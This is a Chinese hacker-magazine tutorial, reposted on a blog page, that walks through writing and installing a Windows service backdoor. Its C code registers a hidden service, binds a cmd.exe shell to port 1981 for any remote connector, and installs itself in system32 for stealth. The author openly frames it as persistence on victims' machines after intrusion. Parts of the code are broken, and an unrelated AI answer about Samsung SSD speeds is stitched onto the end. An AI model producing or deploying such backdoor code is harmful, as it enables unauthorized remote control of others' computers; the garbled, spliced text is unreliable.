服务级后门自己做——创建服务

本文介绍了一种利用Windows NT/2000/XP系统服务创建后门的技术,详细讲解了服务自启动、后台运行和隐蔽性的特点,以及如何编写、安装和启动后门服务。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

以往大多数的木马/后门都是通过修改系统ini文件(比如Win.ini,System.ini)或修改注册表的RUN值来实现自启动的,还有更简单的是修改Autobat.exe(老大,地球不适合你,你还是回火星吧),但随着网络用户安全意识的提高,连我家旁边卖茶叶蛋的大妈都知道如何对付这些老方法了。为了适应新时代木马后门技术的发展要求,一种利用Windows NT/2000/XP系统服务的后门产生了,现在的WinShell,WinEggDrop等众人皆知的Telnte扩展后门都利用了这种方式。相信很多小菜们对这种后门技术并不了解,所以,我在这里就充个大头,给大家传授教业解解惑吧(受害MM目光呆滞,一脸绝望:有了你们这帮人,天下什么时候才能“无贼”啊?)。

前置原理

Windows NT/2000/XP提供的服务既可以指一种特定的Win32进程,也可以指内核模式的设备驱动程序。操作系统的一个称为“服务控制管理器SCM”的组件被用来装载和控制这两种类型的服务。当然,我们说的服务,是指的前者,即我们可以利用的服务是一个在Windows NT/2000/XP下执行的程序。当我们打开“控制面板管理工具服务”,就可以看到右边有一堆的服务,如图1所示。每一行指定了一个特定服务的属性,包括名称、描述、状态、启动类型、登录方式等。
 


服务级后门自己做
图1

“服务”本身是Windows NT/2000/XP下客户/服务器软件的合理选择,因为它提供了像Unix下后台程序Daemons(守护进程)的等价物,而且使得创建能够代表权限低的用户进行权限高的操作的程序成为可能。像我们熟知的RPC服务,病毒扫描程序以及备份程序都是很适合作为服务进程。
服务能被我们利用作为后门实现自启动,是因为它有三个很重要的特性:

1. 服务可以被指定为自启动,在利用传统的注册表修改RUN键值,添加ini自启动项等方法的基础上又多了一种选择。
2. 服务可以在任何用户登录前开始运行,我们可以在服务启动时加入杀防火墙的代码。
3. 服务是运行在后台的,如果不注意,天知道什么时候被人家装了后门。

服务大都是由服务控制程序在注册表中维护的一个信息数据库来管理的,每个服务在HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services中都可以找到相应的一个关键项。服务区别于一般Windows NT/2000/XP程序的主要之处在于服务与服务控制管理程序的合作,在后面的编程中我们将会体会到这一点。

编程实现

一个完整的服务分为安装服务程序,主体服务程序和卸载服务程序。我们先来写服务的主体部分,示例代码如下:

void main()
{
 SERVICE_TABLE_ENTRY ServiceTable[] =
 {
  {"scuhkr", BDServiceMain},
  {NULL, NULL} //"哨兵"
 };
 //连接到服务控制管理器
 StartServiceCtrlDispatcher(ServiceTable);
}

 路人甲:什么,就这么短?你想侮辱广大鸟儿的智慧?呵呵,先别急,听我慢慢道来:上面代码中,我们先给出了一个SERVICE_TABLE_ENTRY结构数组,每个成员描述了调用进程提供的服务,这里我们只安装了一个服务名为Scuhkr的服务,后面的BDServiceMain()我们称之为服务主函数,通过回调该函数提供了服务入口地址,它原形的参数必须定义成如下形式:
VOID WINAPI BDServiceMain(
  DWORD dwArgc,  //lpszArgv参数个数
  LPTSTR* lpszArgv //该数组第一个的参数指定了服务名,可以在后面被
                      StartService()来调用
);
SERVICE_TABLE_ENTRY结构数组要求最后一个成员组都为NULL,我们称之为“哨兵”(所有值都为NULL),表示该服务表末尾。一个服务启动后,马上调用StartServiceCtrlDispatcher()通知服务控制程序服务正在执行,并提供服务函数的地址。StartServiceCtrlDispatcher()只需要一个至少有两SERVICE_TABLE_ENTRY结构的数组,它为每个服务启动一个线程,一直等到它们结束才返回。
 本程序只提供了一个服务函数BDServiceMain(),下面我们来下完成这个函数的功能,示例代码如下:

void WINAPI BDServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)
{
 DWORD dwThreadId;  //存放线程ID
 
//通过RegisterServiceCtrlHandler()与服务控制程序建立一个通信的协议。
//BDHandler()是我们的服务控制程序,它被可以被用来开始,暂停,恢复,停止服务等控制操作
 if (!(ServiceStatusHandle = RegisterServiceCtrlHandler("scuhkr",
                     BDHandler)))
  return;

//表示该服务私有
 ServiceStatus.dwServiceType  = SERVICE_WIN32_OWN_PROCESS;
//初始化服务,正在开始
 ServiceStatus.dwCurrentState  = SERVICE_START_PENDING; //
//服务可以接受的请求,这里我们只接受停止服务请求和暂停恢复请求
 ServiceStatus.dwControlsAccepted  = SERVICE_ACCEPT_STOP
                      | SERVICE_ACCEPT_PAUSE_CONTINUE;
//下面几个一般我们不大关心,全为0
 ServiceStatus.dwServiceSpecificExitCode = 0;
 ServiceStatus.dwWin32ExitCode        = 0;
 ServiceStatus.dwCheckPoint            = 0;
 ServiceStatus.dwWaitHint              = 0;
//必须调用SetServiceStatus()来响应服务控制程序的每次请求通知
 SetServiceStatus(ServiceStatusHandle, &ServiceStatus);

//开始运行服务
 ServiceStatus.dwCurrentState = SERVICE_RUNNING;
 ServiceStatus.dwCheckPoint   = 0;
 ServiceStatus.dwWaitHint     = 0;

 SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//我们用一个事件对象来控制服务的同步
 if (!(hEvent=CreateEvent(NULL, FALSE, FALSE, NULL)))
  return;

 ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
 ServiceStatus.dwCheckPoint   = 0;
 ServiceStatus.dwWaitHint     = 0;

 SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//开线程来启动我们的后门程序
 if (!(hThread=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MainFn, (LPVOID)0, 0, &dwThreadId)))
 

 ServiceStatus.dwCurrentState = SERVICE_RUNNING;
 ServiceStatus.dwCheckPoint   = 0;
 ServiceStatus.dwWaitHint     = 0;

 WaitForSingleObject(hEvent, INFINITE);

 CloseHandle(hThread);
 ExitThread(dwThreadId);
 CloseHandle(hEvent);

 return;
}

上面我们调用了一个服务控制函数BDHandler(),由于只是简单的介绍,我们这里只处理服务停止控制请求的情况,其它暂停、恢复等功能,读者可以自己完善。下面是对BDHandler()的实现代码:
void WINAPI BDHandler(DWORD dwControl)
{
 switch(dwControl)
 {
 case SERVICE_CONTROL_STOP:
//等待后门程序的停止
  ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
  ServiceStatus.dwCheckPoint   = 0;
  ServiceStatus.dwWaitHint     = 0;
  
  SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//设时间为激发状态,等待下一个事件的到来
  SetEvent(hEvent);
  
  ServiceStatus.dwCurrentState = SERVICE_STOP;
  ServiceStatus.dwCheckPoint   = 0;
  ServiceStatus.dwWaitHint     = 0;
//停止
  SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
  break;
 
 default:
  break;
 }
}

服务控制函数搞定了,下面就剩下主体的后门函数了。本程序借用了N多前辈翻写过了无数次的后门程序,通过开一个端口监听,允许任何与该端口连接的远程主机建立信任连接,并提供一个交互式Shell。为了代码清晰,我去掉了错误检查,整个过程很简单,也就不多解释了,黑防上都有N期介绍了,代码如下:
DWORD WINAPI MainFn(LPVOID lpParam)
{
 WSADATA WSAData;
 struct sockaddr_in RemoteAddr;
 DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
 PROCESS_INFORMATION processinfo;
 STARTUPINFO startinfo;
 
 WSAStartup(MAKEWORD(2,2),&WSAData);
 ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 RemoteAddr.sin_family = AF_INET;
 RemoteAddr.sin_port = htons(1981);  //监听端口
 RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;
 
 bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
 listen(ServerSocket, 2);
 
 varA = 0;
 varB = 0;
 CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
 CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);
 
 dowhile((varA || varB) == 0);
 
 GetStartupInfo(&startinfo);
 startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 startinfo.hStdInput = hReadPipe;
 startinfo.hStdError = hWritePipe;
 startinfo.hStdOutput = hWritePipe;
 startinfo.wShowWindow = SW_HIDE; //隐藏控制台窗口

 char szAPP[256];
 GetSystemDirectory(szAPP,MAX_PATH+1);
 
  strcat(szAPP,"
\\cmd.exe");
//开cmd进程
  if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0,
   NULL, NULL, &startinfo, &processinfo) == 0)
  {
   printf ("CreateProcess Error!\n");
   return -1;
  }
 
 while (true)
 {
  ClientSocket = accept(ServerSocket, NULL, NULL);
  Sleep(250);
 }

 return 0;
}

//线程函数A, 通过管道A来从控制端接受输入,然后写入被控制端输入端
DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
 SECURITY_ATTRIBUTES pipeattr;
 DWORD nByteToWrite, nByteWritten;
 char recv_buff[1024];
 
 pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
 pipeattr.lpSecurityDescriptor = NULL;
 pipeattr.bInheritHandle = TRUE;
 CreatePipe(&hReadPipe,
  &hWriteFile,
  &pipeattr,
  0);
 
 varA = 1;
 while(true)
 {
  Sleep(250);
  nByteToWrite = recv(ClientSocket,
   recv_buff,
   1024,
   0);
  printf("%s\n", recv_buff);
  WriteFile(hWriteFile,
   recv_buff,
   nByteToWrite,
   &nByteWritten,
   NULL);
 }
 return 0;
}

//线程函数B, 通过管道B来从被控制端接受输入,然后写到控制端输出端
DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
 SECURITY_ATTRIBUTES pipeattr;
 DWORD len;
 char send_buff[25000];
 
 pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
 pipeattr.lpSecurityDescriptor = NULL;
 pipeattr.bInheritHandle = TRUE;
 
 CreatePipe(&hReadFile,
  &hWritePipe,
  &pipeattr,
  0);
 
 varB = 1;
 while (true)
 
 return 0;
}

在我们成功入侵目标MM主机后,看了MM的照片,读了MM的日记……此处省略恶行30条。在拍屁股走人之前,怎么也要留个后门,方便下次继续看新的照片,继续读MM的小秘密(呵呵,大家不要误会,我从来不干这种事D)。那后门怎么留?我们上面写的都是主体部分,还没安装呢。安装服务的部分其实很简单,示例代码如下:
// InstallService.cpp
void main()
{
SC_HANDLE hSCManager = NULL,  //服务控制管理器句柄
 hService = NULL;     //服务句柄
 char szSysPath[MAX_PATH]=,
szExePath[MAX_PATH]=;   //我们要把我们后台执行的程序放在这里,一般就是在
\\admin$\\system32\里,隐蔽性高

 if ((hSCManager = OpenSCManager(NULL,  //NULL表明是本地主机
NULL, // 要打开的服务控制管理数据库,默认为空
SC_MANAGER_CREATE_SERVICE//创建权限
))==NULL)
 {
  pirntf("OpenSCManager failed\n");
  return;
 }
 
 GetSystemDirectory(szSysPath, MAX_PATH); //获得系统目录,也就是system32里面,隐蔽起来
 strcpy(szExePath, szSysPath);
 strcat(szExePath, "scuhkr.exe");  //应用程序绝对路径

 if ((hService=CreateService(hSCManager,  //指向服务控制管理数据库的句柄
        "scuhkr",    //服务名
        "scuhkr backdoor service", //显示用的服务名
        SERVICE_ALL_ACCESS, //所有访问权限
        SERVICE_WIN32_OWN_PROCESS, //私有类型
        SERVICE_DEMAND_START, //自启动类型        SERVICE_ERROR_IGNORE, //忽略错误处理
        szExePath,  //应用程序路径
        NULL,
        NULL,
        NULL,
        NULL,
        NULL)) == NULL)
 {
  printf("%d\n", GetLastError());
   return;
 }

//让服务马上运行。万一是个服务器,10天半个月不重启,岂不是没搞头?
 if(StartService(hService, 0, NULL) == FALSE)
 { 
  printf("StartService failed: %d\n", GetLastError());
  return;
 }
 printf(“Install service successfully\n ”);
 CloseServiceHandle(hService);  //关闭服务句柄
 CloseServiceHandle(hSCManager); //关闭服务管理数据库句柄
}

  Ok,一切都写完了,我们在本机上测试一下,先把前面的服务主体程序Scuhkr.exe拷贝到系统目录\system32下(如果需要程序自动实现自拷贝的,可以通过CopyFile()来实现,具体怎么做偶就不讲了,相信聪明的你三下五除二就能搞定,确实不行就去找WinShell的源代码来看看吧),然后执行InstallServcie.exe。为了看我们是否安装成功,有两个办法,一是通过控制面板->管理工具->服务,二是利用控制台下系统自带的Sc.exe工具,比如:“sc.exe qc rpcss”,如图2所示。看到安装服务的信息了?是不是很简单呢!

服务级后门自己做
 
图2

至于以后不想再要这个MM的肉鸡了,又不想留下把柄什么的,要删除服务怎么办?读者就自己当做练习吧。还有一点要说的是,本人也是临时抱佛脚,狂啃了几天关于NT系统服务方面的编程,如果有什么不对,欢迎大家批评指正!
(文中涉及到的程序已收录到杂志配套光盘“杂志相关”栏目,按文章名查找即可)

 

转载于:https://www.cnblogs.com/suncoolcat/p/3357941.html

<think>嗯,用户之前问了一个关于硬盘控制器错误的问题,现在又转向询问PM991a 2230这款固态硬盘的正常读写速度。我需要先确认用户的需求是什么。可能用户遇到了之前的错误,现在考虑更换或升级硬盘,或者他们想确认当前的硬盘是否正常工作。 首先,我要回想一下三星PM991a NVMe SSD的基本参数。这款硬盘是M.2 2230规格,支持PCIe 3.0 x4接口。作为OEM型号,主要用于轻薄笔记本移动设备,所以性能可能不是最高,但适合空间受限的环境。 接下来,需要查找官方的读写速度数据。记得三星PM991a的顺序读取速度应该在2000MB/s左右,写入可能在1000MB/s上下。但不同容量版本的速度可能不同,比如512GB1TB版本可能有差异。用户可能没有说明容量,可能需要给出不同容量下的速度范围。 另外,用户可能不太了解理论速度实际应用的区别,可能需要解释一下4K随机读写的重要性,因为日常使用中更多是小文件操作,比如启动系统或打开软件,这时候随机读写速度更关键。 还要考虑用户可能的后续问题,比如为什么实际测速标称值有差异,这时候需要提到测试环境的影响,比如CPU性能、主板PCIe通道分配、是否散热良好等。还有,如果用户之前遇到控制器错误,可能需要确认硬盘是否正常工作,速度是否下降,从而判断是否存在硬件问题。 是否需要建议用户使用CrystalDiskMark之类的工具测试自己的硬盘速度,来确认是否在正常范围内?这可能帮助用户自行诊断硬盘状态。此外,提醒用户如果速度远低于标称值,可能需要检查驱动程序、固件更新,或者硬件连接问题。 最后,用户可能对PCIe 3.04.0的区别有疑问,是否需要简单说明?不过当前问题集中在PM991a,所以可能不需要展开,除非用户进一步询问。 总结回答的结构:先给出官方标称速度,分不同容量说明,然后解释实际应用中的表现,影响速度的因素,最后建议测试方法注意事项。</think>--- ### 三星 PM991a NVMe SSD (M.2 2230 PCIe 3.0) 性能解析 #### 一、官方标称性能(理论最大值) 根据三星OEM规格书,**PM991a** 在不同容量下的性能表现如下(基于PCIe 3.0 x4接口): | 容量 | 顺序读取 (MB/s) | 顺序写入 (MB/s) | 随机读取 (IOPS) | 随机写入 (IOPS) | |------------|-----------------|-----------------|-----------------|-----------------| | **512GB** | 2,300 | 1,200 | 280,000 | 250,000 | | **1TB** | 2,300 | 1,900 | 340,000 | 300,000 | **注**: - 测试条件:队列深度(QD)=32,使用全盘SLC缓存(缓存容量约6-20GB,具体取决于剩余空间) - 持续写入超过SLC缓存后,速度可能降至 **300-500MB/s**(TLC直写模式) --- #### 二、实际应用场景表现 1. **日常办公场景**(QD1-4) - 4K随机读取:**30-50MB/s**(对应7500-12500 IOPS) - 系统启动耗时:Windows 10冷启动约 **8-12秒**(对比SATA SSD约15-20秒) 2. **大文件传输** - 单个20GB视频文件拷贝:初始速度 **1.1-1.5GB/s**(SLC缓存内),缓存耗尽后降至 **400MB/s** 3. **游戏加载** - 《赛博朋克2077》场景加载:比SATA SSD快 **30-40%**,比PCIe 4.0 SSD慢 **15-20%** --- #### 三、性能影响因素 1. **温度控制** - 过热(>70℃)触发限速:速度可能下降 **50%** - 建议加装散热片(厚度需兼容2230尺寸) 2. **主板兼容性** - PCIe 3.0 x2模式(常见于低端笔记本):速度上限 **1,750MB/s** - 使用CrystalDiskInfo检查 **"传输模式"** 是否为 **PCIe 3.0 x4** 3. **固件版本** - 旧版固件(如GXA7401Q)可能存在性能调度问题,需通过三星魔术师工具更新 --- #### 四、实测工具推荐 1. **基准测试** ```bash CrystalDiskMark 8.0(设置1GiB测试量,QD32) AS SSD Benchmark 2.0(关注4K-64Thrd数值) ``` 2. **健康状态监测** - 使用 **HWiNFO64** 查看 **"Media Wearout Indicator"**(低于10%需警惕) - 确认 **"Available Spare"**(备用块比例)是否 >90% --- #### 五、对比同类产品 | 型号 | 顺序读取 | 顺序写入 | 适用场景 | |---------------------|----------|----------|-------------------| | 三星PM991a 512GB | 2,300 | 1,200 | 超极本/迷你主机 | | 西数SN530 512GB | 2,400 | 1,950 | Surface设备 | | 铠侠BG4 512GB | 2,100 | 1,500 | 工业嵌入式系统 | --- **总结**:PM991a作为PCIe 3.0中端OEM固态硬盘,其性能在2230尺寸设备中处于主流水平,适合对体积敏感但需要NVMe加速的场景。若实测持续低于标称值70%,建议检查散热、驱动及主板PCIe通道配置。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值